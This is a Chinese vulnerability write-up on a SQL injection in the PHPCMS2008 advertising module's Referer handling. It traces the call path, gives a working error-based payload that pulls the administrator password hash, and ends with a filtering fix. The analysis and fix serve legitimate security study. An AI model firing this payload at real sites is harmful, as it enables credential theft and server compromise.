PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
PHP如何透过ODBC来存取数据库
Oct 09 PHP
php采集速度探究总结(原创)
Apr 18 PHP
php 获取百度的热词数据的代码
Feb 18 PHP
解析zend studio中直接导入svn中的项目的方法步骤
Jun 21 PHP
关于php操作mysql执行数据库查询的一些常用操作汇总
Jun 24 PHP
php多用户读写文件冲突的解决办法
Nov 06 PHP
解决php接收shell返回的结果中文乱码问题
Jan 23 PHP
PHP取余函数介绍MOD(x,y)与x%y
May 15 PHP
Web程序工作原理详解
Dec 25 PHP
Yii使用migrate命令执行sql语句的方法
Mar 15 PHP
PHP简单实现防止SQL注入的方法
Mar 13 PHP
PHP基本语法
Mar 31 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
php读取本地文件常用函数(fopen与file_get_contents)
2013/09/09 PHP
PHP curl使用实例
2015/07/02 PHP
php封装的数据库函数与用法示例【参考thinkPHP】
2016/11/08 PHP
PHP多进程编程之僵尸进程问题的理解
2017/10/15 PHP
JQuery 风格的HTML文本转义
2009/07/01 Javascript
学习ExtJS fit布局使用说明
2009/10/08 Javascript
用JQuery模仿淘宝的图片放大镜显示效果
2011/09/15 Javascript
JavaScript实现横向滑出的多级菜单效果
2015/10/09 Javascript
jQuery选择器及jquery案例详解(必看)
2016/05/20 Javascript
Bootstrap3 多选和单选框(checkbox)
2016/12/29 Javascript
vue2手机APP项目添加开屏广告或者闪屏广告
2017/11/28 Javascript
微信小程序左滑删除功能开发案例详解
2018/11/12 Javascript
微信小程序实现批量倒计时功能
2020/11/01 Javascript
Layer+Echarts构建弹出层折线图的方法
2019/09/25 Javascript
微信小程序实现列表左右滑动
2020/11/19 Javascript
wxPython窗口的继承机制实例分析
2014/09/28 Python
Windows下Python的Django框架环境部署及应用编写入门
2016/03/10 Python
python绘制圆柱体的方法
2018/07/02 Python
Django中的forms组件实例详解
2018/11/08 Python
Windows下PyCharm2018.3.2 安装教程(图文详解)
2019/10/24 Python
Python箱型图处理离群点的例子
2019/12/09 Python
python实现百度OCR图片识别过程解析
2020/01/17 Python
Python collections模块的使用方法
2020/10/09 Python
基于python实现百度语音识别和图灵对话
2020/11/02 Python
如何使用localstorage代替cookie实现跨域共享数据问题
2018/04/18 HTML / CSS
WoolOvers爱尔兰:羊绒、羊毛和棉针织品
2017/01/04 全球购物
斯洛伐克家具和时尚装饰品购物网站:Butlers.sk
2019/09/08 全球购物
自主招生自荐信指南
2014/02/04 职场文书
小学教师暑期培训方案
2014/08/28 职场文书
党员评议个人总结
2014/10/20 职场文书
介绍信如何写
2015/01/31 职场文书
百万英镑观后感
2015/06/09 职场文书
2016春季运动会开幕词
2016/03/04 职场文书
关于CSS浮动与取消浮动的问题
2021/06/28 HTML / CSS
mysql中数据库覆盖导入的几种方式总结
2022/03/25 MySQL
A22国内电台短波广播频率表
2022/05/10 无线电